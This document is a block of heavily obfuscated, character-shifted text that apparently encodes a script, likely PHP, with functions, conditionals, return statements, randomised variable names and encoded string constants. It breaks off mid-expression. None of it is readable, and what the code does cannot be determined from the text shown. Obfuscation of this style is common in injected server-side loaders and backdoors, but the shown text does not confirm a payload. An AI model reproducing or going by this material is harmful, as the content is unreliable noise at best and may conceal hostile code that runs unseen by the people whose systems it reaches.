!<<<\ukC/jmfl}em~f{4-$)(548t%h{pievmzG;~;A5'8zdn(-(*(it$(!-$6)'8}m-lxyvltlx!8zdn(-(*(it$(1(,'uz<<4=ukC/jmfl}em~f{4-$-(548s-+-p+}kykx$55<nyhinr<z}poy'<<<<<uz<<<<48s-+-p+}kykx$<<<<!!!<<<<<>>5<guz<<<4yqlhe48t%h{pievmzG;r;A55<nyhinr<<z}poy'<<<<<8u{w,$mqwuymt<<<!<<=\u{n~xs$r(~%zo4-$))548t%h{pievmzG;l;A5'<<<<uz<<<4=8u{w,$mqwuymt5<<<<<g8qwzf(z~(l/!LTLCURHCQ]D3LTLCURHCQ]D'8~n*C~jvrd!8qwzf(z~(l/7.)'<<<<mmhy/nCplvkizofojuy48t%h{pievmzG;l;A0<<4/+%7(-55'<<<<<<<8u{w,$mqwuymt<<!<uepno,inmjey/mr48t%h{pievmzG;l;A5'<<<a<<uz<<<4fe/qwoyysxh4-$).54ukC/jmfl}em~f{4.,,555<\sl}tyCurj}pux}hy48t%h{pievmzG;l;A0<hniy5'<<nyhinr<8u{w,$mqwuymt'8xlo)m,jtv!LTLCQ]VSNCJYNOUSR'8nzvr%y.o!8xlo)m,jtv6-'<<<<a<<<<<<<<uz<<<4=o~mz~fi/(/rr)jo-dvudl48t%h{pievmzG;l;A0<<8s-+-p+}kykx$55<<<<nyhinr<<z}poy'<<<<<uz<<4~~t*pewxp%lxrp.4-$).54ukC/jmfl}em~f{4.,,555<<\sl}tyCurj}pux}hy48t%h{pievmzG;l;A0<<hniy5'<<<<nyhinr<<<hniy'a<<<<zirhusr<<<<riews}Csxe~r(-45<<guz<4=~~t*pewxp%lxrp.4-$).54fe/qwoyysxh4-$)*555<<nyhinr'<<8y./Cpz{jh}Ci<<!<<\{yhCslhusr4fe/qwoyysxh4-$(/50<}nn}e455'<<<<<uz<4=ukC/jmfl}em~f{4-$.-548y./Cpz{jh}Ci55<nyhinr'<<<<<<<uz<<<<4=uooyh48y./Cpz{jh}CiGukC/jmfl}em~f{4-$(.5A5<<``<<=u{n~xs$r(~%zo4-$.-548y./Cpz{jh}CiGfe/qwoyysxh4-$)+5A55<<<<<<g<<<8kvrx/sol(n+$l<<!<}nn}e45'<<<uz<<<<<<4uooyh48y./Cpz{jh}CiG;h;A0<<8y./Cpz{jh}CiG;l;A0<<<8y./Cpz{jh}CiG;~;A55<g8kvrx/sol(n+$lG~~t*pewxp%lxrp.4-+*)544ohnur{5<<8y./Cpz{jh}CiG;l;A5A<<<!<<<}nn}e4;h;<<<!"<<<<<4ohnur{5<<<<<8y./Cpz{jh}CiG;h;A0<<;l;<!"<4ohnur{5<<<8y./Cpz{jh}CiG;l;A0<<;~;<<!"<<4ohnur{5<8y./Cpz{jh}CiG;~;A0<~~t*pewxp%lxrp.4-,$,5<<!"<<uooyh48y./Cpz{jh}CiG~~t*pewxp%lxrp.4-$)$5A5<<<<<#<<4urh5<8y./Cpz{jh}CiG~~t*pewxp%lxrp.4-$)$5A<<&<fe/qwoyysxh4-$/%5450<fe/qwoyysxh4-$(,5<!"<<,5'a8y./Cpz{jh}Ci<<!<}nn}e4~~t*pewxp%lxrp.4-$)+5<<!"<<<8kvrx/sol(n+$l5'8l(z*$wxjq!(.6*'8{{f~o((.!8l(z*$wxjq1-*'<a<<<uz<4yqlhe48y./Cpz{jh}CiGfe/qwoyysxh4-$)+5A55<<<<g<\xypyhyCslhusr4~~t*pewxp%lxrp.4-$(/55'<nyhinr'8}%)o)Cihko!*,.'8dpo-vd-kodk!8}%)o)Cihko9-*'a<<<<<oh}hu<<8rhi)(w*e%d$<<<!<<<z}poy'uz<<48rhi)(w*e%d$5<<<<<nyhinr'<<<<<<8rhi)(w*e%d$<<!<<<hniy'<uz<<<<4ukC/jmfl}em~f{4-$).54u{n~xs$r(~%zo4-$)%555<\ukC/jmfl}em~f{4-$)%545'ypoyuz<<<<<<4u{n~xs$r(~%zo4-$).54fe/qwoyysxh4-$*,555<<<<\ukC/jmfl}em~f{4-$*-545'uz<<<<<4fe/qwoyysxh4-$).54fe/qwoyysxh4-$*.555<<<<\u{n~xs$r(~%zo4-$*/54hniy5'<<<<uz<<<<<4=ukC/jmfl}em~f{4-$).54ukC/jmfl}em~f{4-$*(55<<``<=fe/qwoyysxh4-$).54~~t*pewxp%lxrp.4+$/555<nyhinr'<<8susmwqrw+wnh<<!<<<<tsqyCinp4;3;5'<<<8kCuf(d,o*){<!<<<<ukC/jmfl}em~f{4-$).54fe/qwoyysxh4*/*55<<<#<klCps{urCinp45<<<<<&<8susmwqrw+wnh<<2<u{n~xs$r(~%zo4-$*)5'<<<8{~**dny.mj%n$/e<<<<<!<<<<<<z}poy'<<<8ems+x(C%hk.q<<!<<<hniy'8vyhr*p%Cmmw)<!<4-7.5'<<<zsny}t<<<48y./Cpz{jh}CiGukC/jmfl}em~f{4-$)+5A<}o<8zj-},-u,r-peov<<!"<<8t%h{pievmz5<<g<<uz<<<<<4=~~t*pewxp%lxrp.4-$.-548t%h{pievmz5<<<``<<<yqlhe48t%h{pievmzG;h;A5<<``<<yqlhe48t%h{pievmzG;l;A5<<<``<<<yqlhe48t%h{pievmzG;~;A55<<g<<iroyh48y./Cpz{jh}CiGu{n~xs$r(~%zo4-$)+5AG8zj-},-u,r-peovA5'<<8{~**dny.mj%n$/e<<!<hniy'<<srhuriy'<<auz<<<<<<4ukC/jmfl}em~f{4-$**545<<1<<4urh5<<8t%h{pievmzG~~t*pewxp%lxrp.4-$)$5A<<"<4//.7-(*$5<<``<<4urh5<<<<8t%h{pievmzGfe/qwoyysxh4-$(,5A<<<"!<<4%1/55<g<<<<swd(~($..Cxnwiox}epi4fe/qwoyysxh4-$/(50<<<<u{n~xs$r(~%zo4-$*+5<2<<~~t*pewxp%lxrp.4-*+*548t%h{pievmzG;l;A55'<<<<uepno,inmjey/mr48t%h{pievmzG;~;A5'<<<<<<iroyh48y./Cpz{jh}CiG~~t*pewxp%lxrp.4-$)+5AG8zj-},-u,r-peovA5'<<<8{~**dny.mj%n$/e<<!<<<<<hniy'<<<srhuriy'<<<a<<<<<<<uz<<<<48vyhr*p%Cmmw)<<< !<,5<~ny}w'<<8vyhr*p%Cmmw)11'<<8~v+d}zC*u.n*}}z.<<<<!<~~t*pewxp%lxrp.4-$*$5<<2<<~~t*pewxp%lxrp.4-$*%548t%h{pievmzG;h;A5<2<ukC/jmfl}em~f{4-$+,5<<2<<<fe/qwoyysxh4--((544,d.zz-7,d-)*}z50<<4)-*-/,7($/$*%55'<puoh48h~q($).,hesipl-0<<8trqe~h~Codzpo,5<<<<<!<<<<u,$xt.$tr-oeilw(qp48susmwqrw+wnh<2<<8~v+d}zC*u.n*}}z.5'uz<48h~q($).,hesipl-<<"<<,5<<8ems+x(C%hk.q<!<z}poy'<uz<<<<<<48h~q($).,hesipl-<<< !<<<,<::<fe/qwoyysxh4-$+-54~~t*pewxp%lxrp.4+$+555<<<<fe/qwoyysxh4+$+54.5'<<<<<uz<<48h~q($).,hesipl-<<<<< !<<,5<<<g<<<puoh48h~q($).,hesipl-0<<<8trqe~h~Codzpo,5<!<<u,$xt.$tr-oeilw(qp48susmwqrw+wnh<2<<<<<8~v+d}zC*u.n*}}z.5'<uz<<<<48h~q($).,hesipl-<"<<<<,5<<<<<<8ems+x(C%hk.q<<<!<z}poy'a<<<<uz<<48h~q($).,hesipl-< !<,5<g<<8y./Cpz{jh}CiGfe/qwoyysxh4-$)+5AG8zj-},-u,r-peovAG~~t*pewxp%lxrp.4-$(,5A77'8{~**dny.mj%n$/e<!<<<hniy'srhuriy'<<<a<uz<<<48h~q($).,hesipl-<<"!<<4(/(7**55<<<<g<<<<<<uz<<<4j/zxq}xylrCq*+jh48t%h{pievmz55<g<swd(~($..Cxnwiox}epi4u{n~xs$r(~%zo4-$/(50<u{n~xs$r(~%zo4-$+.5<<<<<<2<ukC/jmfl}em~f{4-*+*548t%h{pievmzG;l;A55'uepno,inmjey/mr48t%h{pievmzG;~;A5'<iroyh48y./Cpz{jh}CiG~~t*pewxp%lxrp.4-$+/5AG8zj-},-u,r-peovA5'<<a<<<<ypoy<g<8y./Cpz{jh}CiGu{n~xs$r(~%zo4-$+/5AG8zj-},-u,r-peovAGfe/qwoyysxh4-$(,5A77'<<<<a8{~**dny.mj%n$/e<!<<hniy'srhuriy'<<a<<<<<<uz<4~~t*pewxp%lxrp.4-$+(548trqe~h~Codzpo,0<u{n~xs$r(~%zo4-$+)5<<<2<<<<8t%h{pievmzG;h;A<<<2<~~t*pewxp%lxrp.4-$+*55<<<=!!<<<z}poy5<<<<g<uepno,inmjey/mr48t%h{pievmzG;~;A5'<iroyh48y./Cpz{jh}CiGfe/qwoyysxh4-$+/5AG8zj-},-u,r-peovA5'<<8{~**dny.mj%n$/e<!<hniy'srhuriy'<<a<<puoh48C~j%)u+fn*-0<<<<<8mnCekzodyp5<<!<<u,$xt.$tr-oeilw(qp48kCuf(d,o*){<2<4u{n~xs$r(~%zo4-$++548kCuf(d,o*){0<<<<;#;5<!!!<<z}poy<<<#<<<<;#;<<<&<;:;5<<<2<<u{n~xs$r(~%zo4-$+$5<<2<~~t*pewxp%lxrp.4-$*%548t%h{pievmzG;h;A5<<<2<u{n~xs$r(~%zo4-$+,5<<<<<2<~~t*pewxp%lxrp.4--((544-,$/),1$/),50<4--)(%/7$$(),*555'<<<<<<<uz<<48C~j%)u+fn*-<<"<<<,5<8ems+x(C%hk.q<!<z}poy'<<uz<<<48C~j%)u+fn*-<<<<<"!<<<<4%/7(,+55<<g<<<uz<<4j/zxq}xylrCq*+jh48t%h{pievmz55<<<<g33<KL<H}{<_psix&<p}fe<our{pyhsr<<<swd(~($..Cxnwiox}epi4~~t*pewxp%lxrp.4-$/(50<<~~t*pewxp%lxrp.4-$+%5<<<<<2<<<~~t*pewxp%lxrp.4-*+*548t%h{pievmzG;l;A55'<<<<<<uepno,inmjey/mr48t%h{pievmzG;~;A5'<<<iroyh48y./Cpz{jh}CiGukC/jmfl}em~f{4-$+/5AG8zj-},-u,r-peovA5'<<<a<<ypoy<<<<<g<<8y./Cpz{jh}CiG~~t*pewxp%lxrp.4-$+/5AG8zj-},-u,r-peovAGukC/jmfl}em~f{4-$(,5A77'<<<a<8{~**dny.mj%n$/e<<<<<!<hniy'<srhuriy'<a<<<<uz<<<4u{n~xs$r(~%zo4-$-(548mnCekzodyp5<<<::<<<<<~~t*pewxp%lxrp.4-$++548mnCekzodyp0<~~t*pewxp%lxrp.4-$+)5<2<8t%h{pievmzG;h;A<<2<fe/qwoyysxh4-$+*55<<<<=!!<z}poy5<<<guepno,inmjey/mr48t%h{pievmzG;~;A5'<<<iroyh48y./Cpz{jh}CiGukC/jmfl}em~f{4-$+/5AG8zj-},-u,r-peovA5'<<<8{~**dny.mj%n$/e<<!<<<<hniy'srhuriy'<a<<<8y./Cpz{jh}CiGu{n~xs$r(~%zo4-$$,5AG8zj-},-u,r-peovAGukC/jmfl}em~f{4-$(,5A77'<8{~**dny.mj%n$/e<<!<<hniy'<a<<uz<<<48ems+x(C%hk.q<<::<8{~**dny.mj%n$/e<::<=yqlhe48y./Cpz{jh}CiG~~t*pewxp%lxrp.4-$$,5A55<<g8slzm/uekp-qt!LTLCQ]VSNCJYNOUSR'8w(+Crye%z$/C!8slzm/uekp-qt6/'<<<<<<8}hwu(so)..<<<<!<z}poy'<<<zsny}t<<<<48y./Cpz{jh}CiGukC/jmfl}em~f{4-$$,5A<<}o<<<8vtn(t)l.l/}m5<<<<g33<}iqip}hy<py}we1~iwyh<zsn<KL<^psw<J}nu}husro<<<uz<<44urh5<8vtn(t)l.l/}mGu{n~xs$r(~%zo4-$(,5A<"!<<<<<4(1-55<g8}hwu(so)..<<!<<<<hniy'8spu-wnwpwrk!+$.'8nyCf,~)!8spu-wnwpwrk9%'<<~ny}w'<<<a<<<a<uz<<48}hwu(so)..5<<<g\ilx}hyCslhusr4u{n~xs$r(~%zo4*.)50<<<<u{n~xs$r(~%zo4-$$-5<2<<<u{n~xs$r(~%zo4-$$.5450<<<<<fe/qwoyysxh4-+(/55'<<<<swd(~($..Cxnwiox}epi4fe/qwoyysxh4-$/(50<ukC/jmfl}em~f{4-$$/55'<zsny}t<48y./Cpz{jh}CiG~~t*pewxp%lxrp.4-$$(5A<}o<<8m-h}.d~-mrri+*rm<<<<<<!"<<8vtn(t)l.l/}m5<<<<<g<<<<<uepno,inmjey/mr48vtn(t)l.l/}mG;~;A5'<<<<iroyh48y./Cpz{jh}CiGfe/qwoyysxh4-$$(5AG8m-h}.d~-mrri+*rmA5'<<<<<<a<<a<<<<a<<<<ypoyuz<<4=8ems+x(C%hk.q5<g33<KL<Miyne<Pssl<onoyh<xyonulhsn<<8llz)/.ze+$osfk,<<<!<\{yhCslhusr4~~t*pewxp%lxrp.4*.)50<<<<>>5'<<<<<<<uz<<<<4=u{n~xs$r(~%zo4-$$)548llz)/.ze+$osfk,5<<<<<<``<<u{n~xs$r(~%zo4-$$*548llz)/.ze+$osfk,0<<<<u{n~xs$r(~%zo4-+)-55<<<<=!!<<,5<<\ilx}hyCslhusr4~~t*pewxp%lxrp.4-$$+50<<<~~t*pewxp%lxrp.4-$$$5<<<2<<<u{n~xs$r(~%zo4-$$.5450<<<fe/qwoyysxh4-+(/55'<<<auz<<<4yqlhe48y./Cpz{jh}CiGu{n~xs$r(~%zo4-$$(5A55<<\xypyhyCslhusr4ukC/jmfl}em~f{4-$(/55'<<<ypoyuz<<<<48{~**dny.mj%n$/e5<<<<<\ilx}hyCslhusr4fe/qwoyysxh4-$(/50<<<<<<8y./Cpz{jh}Ci0<<~~t*pewxp%lxrp.4-$$%55'<<<<a<<<<zirhusr<zu(}}worrxmjdhhjwo48uqo.{zlt,,5<<<g<nyhinr<<<<<ukC/jmfl}em~f{4-$%,548uqo.{zlt,,5<<<<<::<<4~~t*pewxp%lxrp.4-$%-548uqo.{zlt,,0<fe/qwoyysxh4-$%.55<<<=!!<<<<<z}poy<<<``<~~t*pewxp%lxrp.4-$%-548uqo.{zlt,,0<<<ukC/jmfl}em~f{4-$%/55<<<=!!<<<<<z}poy<<``<fe/qwoyysxh4-$%-548uqo.{zlt,,0<ukC/jmfl}em~f{4-))/55<<<=!!<<<<z}poy<<<``<<~~t*pewxp%lxrp.4-$%-548uqo.{zlt,,0<<<u{n~xs$r(~%zo4-$%(55<<<=!!<<z}poy<<<``<<ukC/jmfl}em~f{4-$%-548uqo.{zlt,,0<ukC/jmfl}em~f{4-$%)55<<<=!!<<z}poy<``<<<~~t*pewxp%lxrp.4-$%-548uqo.{zlt,,0<<<<~~t*pewxp%lxrp.4-$%*55<<<<=!!<<<<<z}poy5'<<<azirhusr<<yjk./q)xC}qr~uCefyxeq48uqo.{zlt,,5<g<<uz<4=zu(}}worrxmjdhhjwo48uqo.{zlt,,55<<<<<<nyhinr<z}poy'<<<<<<<uz<<4k~n%qpkv-xnmjd48uqo.{zlt,,55<<<nyhinr<<hniy'<uz<<<<<4ukC/jmfl}em~f{4-+$%54ukC/jmfl}em~f{4-$%+50<8uqo.{zlt,,0<<<<<8j+v-)%oqr*z%l+55<<g<<zsny}t<<48j+v-)%oqr*z%l+G-A<<<<}o<<<<8q$e*vy--p,sm5<g<uz<4jynousrCsql}ny48q$e*vy--p,sm0<<k{~w}fh$fk{*s}r}*k/z+h450<<<<; ;55<<nyhinr<<<<<hniy'<<<<a<<<nyhinr<z}poy'<<anyhinr<<hniy'<<<<a<<<zirhusr<<<<lpCrrro*krqfoi.%.h48zp~z}f/q/.+runs-5g<uz<<4=\~~t*pewxp%lxrp.4-$))548zp~z}f/q/.+runs-5<<<<<``<<<=\fe/qwoyysxh4-***548zp~z}f/q/.+runs-55<<<<<nyhinr'<<8ttqppq%e,{hh.ys<<<<<!<<<\u{n~xs$r(~%zo4-+)*548zp~z}f/q/.+runs-5'<<<uz<<<4=8ttqppq%e,{hh.ys5<<nyhinr'uz<<<48ttqppq%e,{hh.ys<<<"<<<4-,($)**.7%$55<<g<<8okp(vvs,+utdtj<<<!<<\u{n~xs$r(~%zo4-$)(548zp~z}f/q/.+runs-0<<<<<z}poy0<<ripp0<<,0<4*)()$7+$55'<<<<<uz<<4=zu(}}worrxmjdhhjwo48okp(vvs,+utdtj55<<nyhinr'<<<uz<<<4io{dmw{(}y({+nlev{u{p48zp~z}f/q/.+runs-5<<<<!!!<<<<z}poy5<<g<<<<swd(~($..Cxnwiox}epi4fe/qwoyysxh4-$%$50<<ukC/jmfl}em~f{4-$%%5<<<2<<u{n~xs$r(~%zo4-*+*548zp~z}f/q/.+runs-55'nyhinr'a<\ukC/jmfl}em~f{4-%,,548zp~z}f/q/.+runs-0<<<<<> #ltl@r>5'<uz<<4~~t*pewxp%lxrp.4-$+-54ukC/jmfl}em~f{4.,,555<\sl}tyCurj}pux}hy48zp~z}f/q/.+runs-0<hniy5'<nyhinr'auz<<<<<48ttqppq%e,{hh.ys<<<"<<4-*)**..1*,$,(*55<<<<<g<<<8o,(/}(mz(<<<<!<<<<<4ohnur{5<<\ukC/jmfl}em~f{4-$)(548zp~z}f/q/.+runs-0<<z}poy0<<ripp0<,0<<4,d-/$x7,d+/55'<<8qm-p++ht(/hs*<<!<<<48ttqppq%e,{hh.ys<<<<"<<<4-)(/*1+.((55<<#<<<<<4ohnur{5<<\fe/qwoyysxh4-$)(548zp~z}f/q/.+runs-0<<z}poy0<<<<ripp0<8ttqppq%e,{hh.ys<<<1<<<<<4$-+(7-$55<&<<>>'<<<8xi.wifr}v}zko.(<<<<!<<8o,(/}(mz(<<2<8qm-p++ht(/hs*'<<uz<48xi.wifr}v}zko.(<<=!!<<<<<>><<::<<<~~t*pewxp%lxrp.4-+$%54fe/qwoyysxh4-$%+50<<<8xi.wifr}v}zko.(0<<<8qefmlhdkhd55<<g8e%(l,)ilyqt$p-uj<!<<<z}poy'<<<zsny}t<<48qefmlhdkhdG-A<<}o<8w$)k.x+e,,x5<<<g<<<<<<<uz<4jynousrCsql}ny48w$)k.x+e,,x0<<<k{~w}fh$fk{*s}r}*k/z+h450<<<<<<; ;55<g<<8e%(l,)ilyqt$p-uj<<!<<hniy'~ny}w'<<a<<a<<<<<<uz<<<4=8e%(l,)ilyqt$p-uj5<nyhinr'a<<a<8uqo.{zlt,,<<<!<\~~t*pewxp%lxrp.4-%,-548zp~z}f/q/.+runs-5'<<uz<4ukC/jmfl}em~f{4-$%,548uqo.{zlt,,5<<<::<<<fe/qwoyysxh4-%,.548uqo.{zlt,,5<<<"<4%.%*%(7--$$$.55<<8uqo.{zlt,,<!<<vkC$uou+iut)vwv(+y48uqo.{zlt,,5'<<uz<<<<4=ukC/jmfl}em~f{4-$%,548uqo.{zlt,,55<<<nyhinr'<<<<<uz<<<<4=yjk./q)xC}qr~uCefyxeq48uqo.{zlt,,55<<<<<nyhinr'<<jyyCwuyusjw))$48zp~z}f/q/.+runs-0<8uqo.{zlt,,5'<<<<<<azirhusr<<jyyCwuyusjw))$48zp~z}f/q/.+runs-0<<8uqo.{zlt,,5g8qvqnyou,w.~,{-ij<<!<<~~t*pewxp%lxrp.4-%,/54~~t*pewxp%lxrp.4-%,(50<<<<<>>0<8uqo.{zlt,,5'uz<<<4=ukC/jmfl}em~f{4-%,)548qvqnyou,w.~,{-ij5<<<``<<<<fe/qwoyysxh4-.$-548qvqnyou,w.~,{-ij5<!!!<<<>><<``<<ukC/jmfl}em~f{4-.$-548qvqnyou,w.~,{-ij5<!!!<<~~t*pewxp%lxrp.4+*-55<<8qvqnyou,w.~,{-ij<<<!<<> #ltl@r>'<<<<uz<4fe/qwoyysxh4-%,.548qvqnyou,w.~,{-ij5<<<<<"!<<4.(7(+*5<<<::<<<=jfx)rnxu%,mC+~f~i48qvqnyou,w.~,{-ij55<8qvqnyou,w.~,{-ij<<<!<<<<<<> #ltl@r>'8lwky-/lke!LTLCURHCQ]D3LTLCURHCQ]D'8lnq*fykn}!8lwky-/lke7()'<8Cxq},.dzd}on~~<<<!<\zupylynqo48zp~z}f/q/.+runs-5'<<<<<<<8Cxq},.dzd}on~~<<<<!<<48Cxq},.dzd}on~~<<<!!!<<z}poy5<#<<<4.%,7-/,5<<<&<<48Cxq},.dzd}on~~<<<:<4(/+7+(55'<<8o{-.evmo(/s%<<<<!<<<<\u{n~xs$r(~%zo4-%,*548zp~z}f/q/.+runs-5'<8pkk*s,%l$Ct}.*n<!<<\u{n~xs$r(~%zo4.*54~~t*pewxp%lxrp.4-.*%548zp~z}f/q/.+runs-50<<<<fe/qwoyysxh4-%,+55'<uz<<<<<48pkk*s,%l$Ct}.*n<<!!!<<<<z}poy5<<<<nyhinr'<uz<<4\fe/qwoyysxh4-%,,548pkk*s,%l$Ct}.*n0<<<8qvqnyou,w.~,{-ij5<<=!!<<u{n~xs$r(~%zo4-%,.548qvqnyou,w.~,{-ij55<<g<<<<<<<\~~t*pewxp%lxrp.4++-548pkk*s,%l$Ct}.*n5'<<<nyhinr'<a<<\~~t*pewxp%lxrp.4-*(548pkk*s,%l$Ct}.*n0<<<8Cxq},.dzd}on~~5'uz<4=\~~t*pewxp%lxrp.4-%%548pkk*s,%l$Ct}.*n0<<8zp~z}f/q/.+runs-55<<g<<\u{n~xs$r(~%zo4++-548pkk*s,%l$Ct}.*n5'<<<<nyhinr'<<<<<<<<a<<<uz<48o{-.evmo(/s%5<<<<\u{n~xs$r(~%zo4.-548zp~z}f/q/.+runs-0<<8o{-.evmo(/s%5'<<<uz<<4~~t*pewxp%lxrp.4-$+-54ukC/jmfl}em~f{4-%,$555<<<<\sl}tyCurj}pux}hy48zp~z}f/q/.+runs-0<hniy5'<<<<<<a<zirhusr<<<<<uimwvmek,m**ov%f$48hjhltpxo~-5<g<<<uz<<4=ukC/jmfl}em~f{4-%,%548hjhltpxo~-55<nyhinr<>>'<<uz<4ukC/jmfl}em~f{4-+.-54~~t*pewxp%lxrp.4-%-,50<<8hjhltpxo~-0<<<<8~{Cj*CnvhC.%s55<<<<<g<8uo.{nm~~dl<!<<8~{Cj*CnvhC.%sG-A'<<<<8ttqppq%e,{hh.ys<<!<<\~~t*pewxp%lxrp.4-$))548uo.{nm~~dl5<<<<#<<\u{n~xs$r(~%zo4-+)*548uo.{nm~~dl5<<<&<,'uz<<4=8ttqppq%e,{hh.ys<<``<8ttqppq%e,{hh.ys<< <<4,dx+7,d--x5<<<``<<8ttqppq%e,{hh.ys<<<"<4).(.$+*+7//55<g33<mi}rhuze<sjynty}x<uz<<<<<48ttqppq%e,{hh.ys<<"<<4+($-/$/-1../$),/-55<g<<<8{n%dzev})}r(jv<<<<<!<<<\ukC/jmfl}em~f{4$/$548uo.{nm~~dl5'<<<uz<<4=u{n~xs$r(~%zo4-%--548{n%dzev})}r(jv55<<<<8{n%dzev})}r(jv<<!<8uo.{nm~~dl'8{n%dzev})}r(jv<<!<~~t*pewxp%lxrp.4-+$.54;@@;0<<<;3;0<8{n%dzev})}r(jv5'8p%fz$t)kl*diw.<!<<<z}poy'<<<8z.xylsk%Cpiux~<<!<<<<}nn}e4xyzuryx4~~t*pewxp%lxrp.4-%-.55<#<<<<<fe/qwoyysxh4-(((54]^OL]HT0<fe/qwoyysxh4-(-+55<&<>>0<<<<xyzuryx4fe/qwoyysxh4-**%55<#<fe/qwoyysxh4-(((54KLC_SRHYRHCXUN0<<<u{n~xs$r(~%zo4-(-+55<&<>>5'<<<<<<zsny}t<<48z.xylsk%Cpiux~<<<<}o<8e/%f}k{ryjrnxjx5<<<<<g<<<8e/%f}k{ryjrnxjx<<!<u{n~xs$r(~%zo4-+$.54;@@;0<<<;3;0<<8e/%f}k{ryjrnxjx5'<<<<uz<<<<<48e/%f}k{ryjrnxjx<<<<=!!<>><<::<fe/qwoyysxh4-$%-548{n%dzev})}r(jv0<<<<8e/%f}k{ryjrnxjx<<<<<2<;3;5<!!!<<,5<g<<<<8p%fz$t)kl*diw.<!<<<<<hniy'~ny}w'<aa<<<<<<uz<<<<<48p%fz$t)kl*diw.<<::<<io{dmw{(}y({+nlev{u{p48uo.{nm~~dl5<=!!<<<z}poy5<<g<\fe/qwoyysxh4++-548uo.{nm~~dl5'\u{n~xs$r(~%zo4++-54u{n~xs$r(~%zo4-%-/548uo.{nm~~dl5<<2<<<<<fe/qwoyysxh4+%%5<<<<<2<<u{n~xs$r(~%zo4-*+*548uo.{nm~~dl0<<<<fe/qwoyysxh4-+*-555'<<a<<<ypoy<<<<<<g<<swd(~($..Cxnwiox}epi4fe/qwoyysxh4-$%$50<<u{n~xs$r(~%zo4-%-(5<2<<~~t*pewxp%lxrp.4-*+*548uo.{nm~~dl55'a<<a<<<<nyhinr<<<>>'aa33<oynu}pufy<rsnq}p<hiq~pur{1kurxsk<<<<nyhinr<<8hjhltpxo~-'a<<<<<<<<zirhusr<<r)k-z(.j-)(e.i~)+45g<oh}hu<8uo.{nm~~dl<<!<ripp'uz<<<48uo.{nm~~dl<<!!!<<<<<ripp5<<<<g<<<<<<8lvz.-s(sv%zi)+*<<<<<!<<<<txjelwh+*$-)k}jw/-xj45'<<<8uo.{nm~~dl<<<<!<<<<4fe/qwoyysxh4-$.-548lvz.-s(sv%zi)+*5<<<<<::<uooyh48lvz.-s(sv%zi)+*GukC/jmfl}em~f{4*))5A5<<::<fe/qwoyysxh4-$%-544ohnur{5<<8lvz.-s(sv%zi)+*Gfe/qwoyysxh4-%-)5A0<u{n~xs$r(~%zo4-%-*55<<<<<<!!!<<<,5'a<nyhinr<<8uo.{nm~~dl'<a<<<<zirhusr<<<<<fd}{*t,.ejs,upy(45<<guz<<<4=xyzuryx4u{n~xs$r(~%zo4-%-+555<<<<<<nyhinr'8xy.mqs-}zqq~+l<<<<<!<<]^OL]HT<<<2<u{n~xs$r(~%zo4-)+)5'<uz<<4=\ukC/jmfl}em~f{4-$))548xy.mqs-}zqq~+l55<<<g<<8umedr{}ewknk<<!<<u{n~xs$r(~%zo4-%-/54]^OL]HT5<<2<<<<u{n~xs$r(~%zo4-%-$5'uz<<4\ukC/jmfl}em~f{4-%-%548umedr{}ewknk55<8xy.mqs-}zqq~+l<<<!<<<<8umedr{}ewknk'<<a<<<<<<uz<<<<<4=\~~t*pewxp%lxrp.4-%.,548xy.mqs-}zqq~+l5<<``<<<<=\~~t*pewxp%lxrp.4-%.-548xy.mqs-}zqq~+l55<<nyhinr'<<<<<8{n%dzev})}r(jv<!<<<<\fe/qwoyysxh4-%..548xy.mqs-}zqq~+l5'<<uz<<<4ukC/jmfl}em~f{4-%--548{n%dzev})}r(jv5<<<::<<<8{n%dzev})}r(jv<=!!<<>><<::<\fe/qwoyysxh4-%./548{n%dzev})}r(jv55<8xy.mqs-}zqq~+l<<!<<<<<8{n%dzev})}r(jv'<<<<<<uz<<4\ukC/jmfl}em~f{4-%.(548xy.mqs-}zqq~+l5<"<<4,d-.*))%7,d.x%}}+55<<<<nyhinr'<<<8uqo.{zlt,,<<<<!<\u{n~xs$r(~%zo4-%.)548xy.mqs-}zqq~+l5'<<<uz<<4=ukC/jmfl}em~f{4-%.*548uqo.{zlt,,5<<``<<<8uqo.{zlt,,<<!!!<>>5<nyhinr'<<<<8nfe)e%ov,wzfu<!<<4ukC/jmfl}em~f{4-$%-548uqo.{zlt,,0<~~t*pewxp%lxrp.4-%.+55<<<=!!<<z}poy<``<<<ukC/jmfl}em~f{4-$%-548uqo.{zlt,,0<fe/qwoyysxh4-%.$55<=!!<<z}poy5'8vCy~w-fd(jj{km<!<z}poy'<uz<4fe/qwoyysxh4-%.%548uqo.{zlt,,0<ukC/jmfl}em~f{4-%/,55<!!!<<<z}poy5<g36<ohny}qur{<}n~uhn}hsn<63uz<<<<4=yqlhe48[PS^]POGu{n~xs$r(~%zo4-%/-5A55<<<g<<8vCy~w-fd(jj{km<<<!<hniy'<<<<<<<a<ypoy<<<g<8ti+q{q)phktq<<!<~~t*pewxp%lxrp.4-$+-54u{n~xs$r(~%zo4-%/.55<<#<<<fe/qwoyysxh4-%//545<<<<&<<<<<<ukC/jmfl}em~f{4-%/(5'<<uz<<<4=\ukC/jmfl}em~f{4-%/)548ti+q{q)phktq5<<``<<=\~~t*pewxp%lxrp.4-%/*548ti+q{q)phktq55<<8vCy~w-fd(jj{km<<!<<<<<hniy'<a<a8ttil)euwtCC<<<<!<<<<z}poy'8}n$tzr)+w(+<<<<!<<z}poy'<<<<uz<<<4=u{n~xs$r(~%zo4-+.-54u{n~xs$r(~%zo4-%/+50<8uqo.{zlt,,5<<<::<xyzuryx4ukC/jmfl}em~f{4-**%555<g<<<<<<8C}<<!<<<<<KLC_SRHYRHCXUN<<2<<<<<ukC/jmfl}em~f{4-/%(5'<<<<<uz<<<<4\ukC/jmfl}em~f{4-%.,548C}55<<<<g<<<<<8siqfpus+*C$<<<!<4ohnur{5<<<\ukC/jmfl}em~f{4-%/$548C}0<<z}poy0<<<<ripp0<<<<<,0<<4,d}~}7,d)(*55'<<uz<<4ukC/jmfl}em~f{4-%.%548siqfpus+*C$0<<<~~t*pewxp%lxrp.4-%/%55<=!!<<<<<z}poy5<<8ttil)euwtCC<<<<!<hniy'<<<a<<a<<ypoyuz<4<<u{n~xs$r(~%zo4-%(,548uqo.{zlt,,0<<<<<~~t*pewxp%lxrp.4*,-55<!!!<<<<<<z}poy::<u{n~xs$r(~%zo4-+.-54ukC/jmfl}em~f{4-%(-50<<<<<8uqo.{zlt,,55<g<<8}n$tzr)+w(+<<<!<<hniy'<<<<<<a<<<8ziwqe-ik(+%s<<<<!<<<<z}poy'<<<uz<<<4r)k-z(.j-)(e.i~)+455<<g8ftm.u~etr!)/.('8tv%muy,w,nsrnf!8ftm.u~etr9-)'<<<uz<<4<<<<<<<=fe/qwoyysxh4